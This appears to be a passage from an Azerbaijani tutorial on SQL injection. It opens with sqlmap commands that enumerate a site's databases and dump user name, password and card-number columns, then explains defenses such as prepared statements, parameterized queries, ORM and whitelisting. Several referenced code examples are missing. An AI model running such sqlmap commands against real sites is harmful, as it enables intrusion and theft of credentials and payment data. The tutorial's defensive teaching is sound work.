python sqlmap.py -u https://www.example.com/index.php?id=1 - dbs
python sqlmap.py -u https://www.example.com/index.php?id=1 -D mysql - tables
python sqlmap.py -u https://www.example.com/index.php?id=1 -D mysql -T users - columns
python sqlmap.py -u https://www.example.com/index.php?id=1 -D mysql -T users -C name,pass,cc –dump - output-format=csv
python sqlmap.py -u https://www.example.com/index.php?id=1 –level=3 –risk=2
python sqlmap.py -u https://www.example.com/index.php?id=1 - btach

SQL Injection qarşısının alınma üsulları

Input Validation: Input Validation istifadəçidən aldığı inputu validasiya edərək zərəli ola biləcək ifadələri silir.

Java dilində giriş doğrulama istifadə edərək bir nümunə:

Escaping User Input: SQL sorğularından istifadənin təhlükəsiz olması üçün istifadəçi girişlərinin dəyişdirilməsini nəzərdə tutur. Bunu xüsusi işarələrə backslash(\) əlavə etməklə və ya bunu avtomatik olaraq yerinə yetirən kitabxanadan istifadə etməklə etmək olar.

MySQLdb kitabxanasından escape_string funksiyasından istifadə edərək Python-da bir nümunə:

Stored Procedures: Stored procedures — tətbiqi proqramdan çağırıla bilən sql ifadələr əvvəlcədən yığılmışdır. Saxlanılan prosedurlardan istifadə etməklə SQL kodunu istifadəçi tərəfindən verilən məlumatlardan ayırmaqla SQL inyeksiya hücumlarının qarşısını almağa kömək edə bilər.

MySQL-də saxlanılan prosedur nümunəsini aşağıda qeyd edək:

Prepared Statements: Hazırlanmış sorğular SQL sorğularını parametre etmək üçün bir vasitədir və SQL kodunu istifadəçi tərəfindən verilən məlumatlardan ayıraraq SQLi hücumlarının qarşısını ala bilər. Hazırlanmış ifadələrdən istifadə edərək PHP-də bir nümunəni təqdim edək:

Parametrikləşdirilmiş sorğular hazırlanmış ifadələrə bənzəyir, lakin bu, sadəcə SQL deyil, istənilən növ sorğu dili ilə istifadə oluna bilən daha ümumi bir texnikadır. Parametrikləşdirilmiş sorğular sorğu stringini istifadəçi tərəfindən verilən məlumatlardan ayrılmasını və verilənlərin ayrı parametrlər kimi sorğuya ötürülməsini nəzərdə tutur. Bu, istifadəçi girişinin sorğu dilinin bir hissəsi kimi deyil, məlumat kimi qəbul edilməsini təmin etməklə SQLi hücumlarının qarşısını ala bilər.

Sqlite3 kitabxanasından istifadə edərək Python-da bir nümunə:

import sqlite3
conn = sqlite3.connect('example.db')
c = conn.cursor()
username = 'john'
password = 'secret'
c.execute('SELECT * FROM users WHERE username=? AND password=?', (username, password))
user = c.fetchone()

Object-Relational Mapping (ORM) çərçivəsi də SQLi hücumlarının qarşısını almaq üçün yaxşı texnikalardan biridir. ORM framework tətbiqiniz və verilənlər bazası arasında abstraksiya qatını təmin edir və istifadəçi inputunu avtomatik olaraq qaçırmaqla və ya parametrləşdirməklə SQLi hücumlarının qarşısını almağa kömək edir.

ORM frameworkləri obyekt yönümlü kodu relational verilənlər bazası cədvəlləri ilə əlaqələndirir, SQL sorğularını birbaşa yazmaq əvəzinə kodunuzdakı obyektlərlə işləməyə imkan verir. Əksər ORM frameworkləri SQLi hücumlarının qarşısını almağa kömək edən istifadəçi inputunu avtomatik escape’ni və ya parametrləşdirilməsini təmin edir.

SQLAlchemy ORM çərçivəsini istifadə edən Python-da bir nümunə::

from sqlalchemy.orm import sessionmaker
from sqlalchemy import create_engine
from myapp.models import User
engine = create_engine('postgresql://user:password@localhost/mydatabase')
Session = sessionmaker(bind=engine)
session = Session()
username = request.form['username']
password = request.form['password']
user = session.query(User).filter_by(username=username, password=password).first()

Whitelisting, SQL injection hücumlarının qarşısını almaq üçün istifadə edilə bilən başqa bir texnikadır. Bu, məqbul giriş dəyərlərinin müəyyənləşdirilməsini və yalnız həmin dəyərlərə uyğun gələn inputa icazə verilməsini nəzərdə tutur. Bu, hər hansı ixtiyari inputa icazə vermək əvəzinə, istifadəçi girişinin məlum dəyərlər dəsti ilə məhdudlaşdırılmasını təmin etməklə SQLi hücumlarının qarşısını almağa kömək edə bilər.

Məsələn, fərz edək ki, istifadəçilərə kateqoriyalar üzrə məhsullar axtarmağa imkan verən bir formunuz var. Kateqoriya inputları məlum dəyərlər dəsti ilə məhdudlaşdırılmasını təmin etmək üçün whitelist istifadə edə bilərsiniz, məsələn:

  • Clothing

  • Books

  • Movies

  • Electronics

Nümunə PHP kodu:

İstinadlar

Last updated